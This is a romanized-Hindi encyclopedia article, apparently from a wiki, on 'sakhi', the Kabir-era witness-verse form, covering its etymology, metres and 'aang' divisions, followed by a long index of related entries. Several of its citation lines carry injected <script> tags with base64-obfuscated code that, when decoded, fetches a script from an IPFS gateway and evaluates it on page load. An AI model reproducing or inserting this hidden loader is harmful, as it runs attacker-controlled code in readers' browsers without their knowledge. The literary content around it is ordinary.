साखी

sakhi sanskrit 'sakshi' ka apabhransh roopantar hai. jise siddhoan ne 'upadesh' kaha hai, use hi santoan ne sakhi kaha hai. sakhiyoan mean unake 'anubhoot saty ki abhivyakti' huee hai. sant kavi is prakar ke vishayoan ko, visheshakar apani sakhiyoan tatha 'shabdoan', arthath padoan ke madhyam dvara prakat pratipadit karate haian. 'sakhi' shabd sanskrit ke 'sakshi' shabd ka roopantar hai, jisaka arth kisi bat ko apani aankhoan dekh chukane vala aur isi karan usake sambandh mean kisi prashn ke uthane par, pramanasvaroop bhi samajha jane vala vyakti hua karata hai tatha kadachith isilie kabir 'bijak' mean is kavy prakar ka parichay 'jnan ki aankhi' kahakar bhi diya gaya hai. in sakhiyoan mean pradhanat: aise vishay hi ate dikh p date haian, jinhean santoan ne apane dainik jivan mean bhali-bhaanti samajhakar pramanit kar liya hai athava jinhean ve apani nij ki kasauti par pahale se kas chukane ke karan sadhikar vyakt karane ki kshamata rakhate haian.^[1]

parashuram chaturvedi ka kathan hai 'isaka abhipray us purush se hai, jisane kisi vastu athava ghatana ko apani aankhoan se dekha ho. is karan 'sakhi' shabd ka tatpary pray: us purush se hua karata hai, jo un vastuoan v ghatanaoan ke vishay mean vivad kh da hone par nirnay karate samay praman svaroop samajha ja sake. is prakar 'sakhi' shabd phir prasangavash mahapurushoan ke lie prayukt hote hote, pichhe unake aptavachan ka paryay ban gaya hoga^[2].
sakhiyoan mean pray: chhand ka prayog kiya gaya hai. doha ke alava soratha, upaman, muktamani, avatar, dohakiy aur gita chhandoan ka bhi prayog hai^[3].
parashuram chaturvedi ne isamean doha, chaupaee, shyam, ullas, haripad, gita, sar tatha chhappai chhandoan ka anveshan kiya hai. sakhi ka vibhajan 'aangoan' mean kiya hai. sakhiyoan ke kul 53 aang haian. aang vibhajan mean ekaroopata tatha vaijnanikata ka abhav dikhaee deta hai. kabir ne 'aang' shabd ka prayog lakshan ke arth mean kiya hai.
kabir granthavali mean 'aang' shabd vishay vastu ka dyotak hai aur sadhana ki yatra ki kramikata ki halki jhalak bhi usamean dikhaee deti hai.^[4]

chhando mean prayog

sakhi rachanaean pray: 'doha' namak chhandoan mean payi jati hai aur kabhi-kabhi inhean 'soratha' mean bhi vyakt kiya gaya hai. isake atirikt santoan ki sakhiyoan ke antargat bich-bich mean sar, haripad, chaupaee, chaupee, dohi, sarasi, gita, muktamani, shyam ullas ya chhappay jaise chhand bhi a jaya karate haian, jinaka 'doha' ke sath adhik sambandh nahian hai. in sakhiyoan ka ek paryay 'salok' bhi samajha jata hai, jisake udaharan sikhoan ke 'adigranth' mean milate haian. parantu sakhiyoan ko jahaan 'aang' jaise shirshakoan ke niche vibhinn vargoan mean vibhajit kiya gaya dekha jata hai, vahaan 'salokoan' ke vishay mean aisa nahian kaha ja sakata. santoan ki bhaanti soophi kaviyoan ne bhi is prakar ke chhandoan ka prayog kiya hai, kintu unake yahaan ise phutakar roopoan mean pray: 'dohara' nam diya gaya milata hai, jo pratyakshat: 'doha' shabd ka hi roopantar haian. doha evan chaupaee chhandoan ka ek sath prayog soophi kaviyoan ne apani premagathaoan mean kiya hai, jisaka ek roop katipay santoan ki 'ramainiyoan' mean bhi dikh p data hai. in chhandoan ke prayog vala ek doosara kavy-prakar 'granth-bavani' nam se milata hai, jisaki dvipadiyoan ka arambh kramash: nagari lipi ke bavan aksharoan se hota hai aur jisaki paddhati par nirmit 'akharavati', 'kakahara' adi tatha farasi lipi ke aksharanusar likhe jane vale 'alifanama', 'soharphi' adi paye jate haian.^[5]

shabd sandarbh

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 696.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kabir sahity ki parakh, 193
↑ kabir-mimaansa-ramachandr tivari, prishth 148-50
↑ ramakishor, sharma kabir granthavali (hiandi), 100.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 696.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

shabd sandarbh kosh

kashtakar • aantararashtriy • aantarrashtriy • kalpasiddhi • gatha • upakhyan • akhyan • shatabdi • suee • nyagrodh • mahapran vyanjan • antahsth vyanjan • oshthy vyanjan • danty vyanjan • moordhany vyanjan • talavy vyanjan • kanthy vyanjan • avyay • vats • kumar • kimpurush • saty • vah • sanvarttak (hal) • sthavar • jara • mohanastr • aishik shastr • rat • sanatan • anant • adbhut • varah • dand • vimukh • kukur • vrishadhvaj (bahuvikalpi) • yayavar • satr • kulapati • charu • shoorp • yoothanath • dvarapal • kalabattoo • dhatta • k davak • klib • bhriang • patohoo • attagattar • attagam • achal pravritti • abohan • aant-ayamh • barabar • kshetr • hirany • haraniparyant • halli • hallikar • halik • haiman shasy • shrani • svaviryopajivin • sunu • soona • sthan • sthan many • sthal • sthal vritti • strot • chaturth panchabhagikam • gunapatr • khettasamik • balidan • kripyagrih • kumaragadiyanak • kulyavap • karmantik • sima • ekapurushikam • utpadyamanavishti • avat • asihar • ali • aghat • adhavay • adanak • skandhavar • sity • siddh • seva • setubandh • senabhakt • sarvamany • sarv-abhyaantar-siddhi • sannidhata • sangrahat • sankraant • sankar kul • sankar gram • sadhy • ayanaangal • attapatibhag • asvayankrit krishi • ardhasitika • akshayanivi • akshapataladhyaksh • akshapatal • akrit • akrisht • akaradayin • akarad • agrahar • agraharik • adevamatrik • adhyiy-manussanam • niyog • samaharta • sali • sakarukar • sadbhag • sachitt • sabha-madhyam • shulk • shaulkik • shasan • roodhamarodhi • ropan • rajju • rajakiy kshetr • yogakshem • yav • mey • masu • moolavap • mandapika • mahatran • bhootavatapratyay • bhoomichchhidranyay • bhoomask • bhukti • bhujyaman • bhogayak • bhogapati • bhogagam • bhog • bhikshu hal • bhikhkhuhalaparihar • bhandagarik • brahmadey • bittuvatt • bhadrabhog • bhagadudh • bhaikshak • bijagan • baraj • phenaghat • pustapal • poorvavap • pur • pratikar • pradesh • pathak • patit • pindak • pautavamh • pattala • parshv • parru • patak • pallika • pariharik • parihar • padonalaksh • panyasanstha • paribhog • panchakul • nyay karnik • nivartan • vyamishr-bhoomi • brihi • vivita • vittolakar • vishamatta • vilop • vatthupati • vatak • vaset-kutambik • varta • varshikashasy • varatra • varaj • viparyast • viparyay • vapi • vapatiriktamh • vap gatya • laangul • roopajiva • roopadarshak • shastriy kala • shastr • astr • shastr • shastriy • thana • sootr • svabhav • savyasachi • puny tithi • jayanti • sair • rangashala • tarani • tarani • jatak • ghoshanapatr • godhooli • mahamaya • vitan • meharab • sharkara • gaz • yatana shivir • samanvayavad • goshthi • kachahari • anamika (uangali) • madhyama • tarjani • aangootha • nuqta • kootasth • smart • kandara • khana • khanabadosh • koshn • upabhog • upabhokta • utpadan • utpadak • akhetak • naugamy • avasthit aur upasthit • abhijn aur anabhijn • afavah aur kianvadanti • adhikaansh aur adhikatar • aantarrashtriy aur aantararashtriy • anuvad • adhyas • sahodara • sahodar • dashalakshan dharm • sanyam • janashruti • paras • rajamahal • sudarshan • anushthan • kathauti • kathauta • baragir • baragi • bijana • juga d • kharal • nal • kashkol • sadaqa • chhinnak • arani • ap: • valay • tarang • avashesh • sakhi • abhang • abir • shrriang • raka • lokakatha • akha da • aangahin • bavali • khandahar • safar • sarika • aantardhan • daity • vidhi • yam (sanyam) • nivesh • nam • puchhattar • bakhar • tattho-thanbho • bela • goru • asarait • muda • alagyojha • dvij • ambu • pravrajya • eehit • eehamrig • eeha • eehag • eesari • eesar • eesan • ees • eeshm • eeshu • eeshika • eesha • eeshana • eeshad • eeshath‌sprisht • eeshat • eeshvaropasana • eeshvariy • eeshvari • eeshvaradhin • eeshvaravadi • eeshvar-vad • eeshvar-pranidhan • eeshitv • eeshita • eesha • eeshata • eeli • eeli • eel • eershyalu • eershya • eershyak • eershy • eershu • eershit • eershalu • eersha • eershana • eerit • eeran • eeramad • eerakha • eer • eemanadari • eemanadar • eeman-kalyan • eeman • eepsu • eepsit • eepsa • eeda • triganbhir • trigandhak • trigang • trikhi • trikha • trikh • trikshur • trikshar • trikon-miti • trikon-bhavan • trikon-phal • tri-koorchak • trikoota • trikoot gadh • trikuti • trikuta • trikut • trikaladarshi • trikaladarshita • trikal-darshak • trikalajnata • trikalajn • trikal • trikarshik • trikay • trika • trikaandiy • eedrish • eedi • eetar • eedh • trikaand • eedy • trik-shool • eedit • trikal • eedan • eethi • trikarma • trikarman • trikatray • eethana • trikatuk • trikatu • trikat • eejad • trikakum • eeja • trikakud • eechha • tri-kant • jnanad • jnanachakshu • jnanagochar • jnanagamy • jnan krit • jnatrivy • jnati putr • jnati • jnata • jnatavy • jnat yauvana • jnat-nandan • jnat • jnapti • jnapit • jnapan • jnapt • jnapan • eechhan • eekharaj • trishaansh • tri • eekh • eekshit • trianshatpatr • eeksha • eekshika • trishat • eekshan • trishah • eekshanik • eekshak • eekaraant • trahi • iandr savarni • iandr sabha • iandr varuni • iandr vadhoo • iandr vansha • iandr yav • iandr mandal • iandr nil • indr dhvaj • iandradhanushi • iandr jau • iandrajali • iandr jav • iandrachap • iandr gop • eekar • iandr giri • iandr krisht • eedh • iandrak • eeanta • iandriyavad • eeancha-tani • iandiralay • iandira-raman • iandira • eeanchana • iantaha • iantazar • eestar • iantazam • iantaqal • eesh manohari • iantaqam • iantakohara • eesh-gau d • iantaee • iangur • eesh-giri • iangudi • eeth • dravy • kafan • adrisht • sadi • granth • kalaantar • drishy • tatavarti • gantavy • supachy • paridrishy • udagam • talluq dar • benami sauda • apavah • prayopavesh • anushruti • aang • shabd sandarbh soochi • alankaran • bhuv • kianvadanti • madhu • vaikunth (bahuvikalpi) • agni • jin (bahuvikalpi) • asandi • mithak • atma • bhakt • pradarsh • pradar • astik • toran • kanik • kanika • eshana • ela • upahasit • unmatt • unmukh • udrek • udot • aja • upashaman • upasham • eeti • apoh • anooru • anuyog • anuyojy • nepathy • nrimedh • nirdisht • nivritt • nivritti • nirvap • nirvat • nishkantak • viplav • nishk • viplavi • viplav • chinty • ajiv • ajivak • parapatr • nikshepak • nikshep • dhrishtata • dhrisht • dhav • akhilesh • vitarkan • vitark • latta • vitat • kurang • kuanjar • kalush • dhatri vidya • dhatriphal • dhatri navami • dhatri • karni • kapisha • kanakhi • karsh • dript • ark • shamy • sushravy • dhriti • sushrava • ayut • shishi • dhrit • sushthu • sushrav • apatr • sanvrit • ranjan • ranjak • yoothika • yoop • yuti • yashti • luanchan • lasy • sasy • samarchan • sahik • sukrit • lalam • bianb • banak • bhasvar • bhavy • pranav • achchhadit • achchhadak • achchhann • janmaandh • vivart • vivarn • hapana • hap • vachy • vak • lav • rochana • rochan • rechan • rechak • ruchira • ruchir • mukari (paheli) • audichy • aurvashey • shala • aurv • sharika • shari • shakun • amlan • phurahari • charvi • agah • chakanachoor • shanku • shaman • sharabh • shardool • chokha • chitra • okha • okh • aindr • phunagi • agamy • vahika • vahik • kshataj • kshat • ksharan • kshar • ghalana • ghal • bilalana • bandhak • jhilamila • jhilam • kshitij • yatharthavad • ookha • yatharth • ookh • oogat • khanak • khan • kanak • laghavi • laghavik • laghavakari • laghav • kshiprahast • chhak • havi • havy • kanishthika • sugat • janaant • tush • hriti • hritadhikar • drishti • drishtarth • drishtaant • drishtavad • pratyakshavad • pratyagatma • kshiprakari • kshipr • hrit • pratyakshar • hrichchhool • kheh • pratyaksh • drishtavat • moolabhoot • drishtaphal • vayavi • vayaviy • kanishtha • vayav • kanishth • maulik • drisht dosh • drishtakoot • moolik • drisht • vishti • nidagh • harmy • achyut • punit • tattv • mukari • anand • yantr • pad • aandhata • sadhu • yash • sant • diksha • vidhu • muramardan • purushottam • bhav • pitambar • har • madhav • chaturbhuj • ugr • upendr • sthanu • kratudhvansin • bharg • nilalohit • trilochan • viroopaksh • vamadev (shiv) • shitakinth (shiv) • shitakinth • garu dadhvaj • girish • govind • suparn • shrikanth • kapardin • pinaki • mrityuanjay • mrid • girish • nagantak • bhootesh • shankar • sharv • narayan • maheshvar (shiv) • vainatey • shoolin • pashupati • tarkshy • eesh • muni • vikat • munindr • vighnanashak • sumukh • lokajit • garutmath • marajit • bhagavat • tathagat • dharmaraj • sarvajn • vinayak • agadh • ary • arh • alp • ikshu • ichchha • asrav • asy • ahary • akrand • akarsh • asooyak • akshar • oj • prakarsh • panth • prakrit • ekarth • unnamr • ujjrimbhan • eeshan • unnat • ujjrimbh • jayy • jay • nairujy • jalp • mand • tej • namaskar • namrata • namr • prabhav • arjav • pratap • akropolis • aantashchetana • aant:karan • agora • atinootan yug • anagami • anal • anagradant • ativriddhi • adhihrishata (ailarji) • anubandh • anubhav • anubhavavad • anyathanupapatti • anyathasiddhi • apil • abhiprerak • albam • arajakata • amin • ayam • ianjil • iantar liangua • koshadhyaksh • dainik • masik

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] reandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 696.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] r sahity ki parakh, 193

[3] r-mimaansa-ramachandr tivari, prishth 148-50

[4] ramakishor, sharma kabir granthavali (hiandi), 100.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[5] reandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 696.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]

[3]

[4]

[5]